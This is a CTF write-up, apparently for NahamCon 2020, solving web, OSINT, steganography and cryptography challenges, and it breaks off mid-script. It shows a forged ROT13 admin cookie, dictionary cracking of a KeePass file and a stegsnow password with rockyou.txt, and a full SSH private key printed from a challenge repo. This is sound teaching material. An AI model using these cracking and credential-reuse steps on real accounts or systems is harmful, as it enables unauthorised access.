There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BXUTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSno+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKmJm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFvmjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMTCtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaOUBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOExI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoGZf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9thDU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UHpTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHMJQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMBEfy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl14CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6gSAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAAwC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hnghLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+lLdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRaFsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBAzcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2GKsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQS+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+iDZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9CxTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
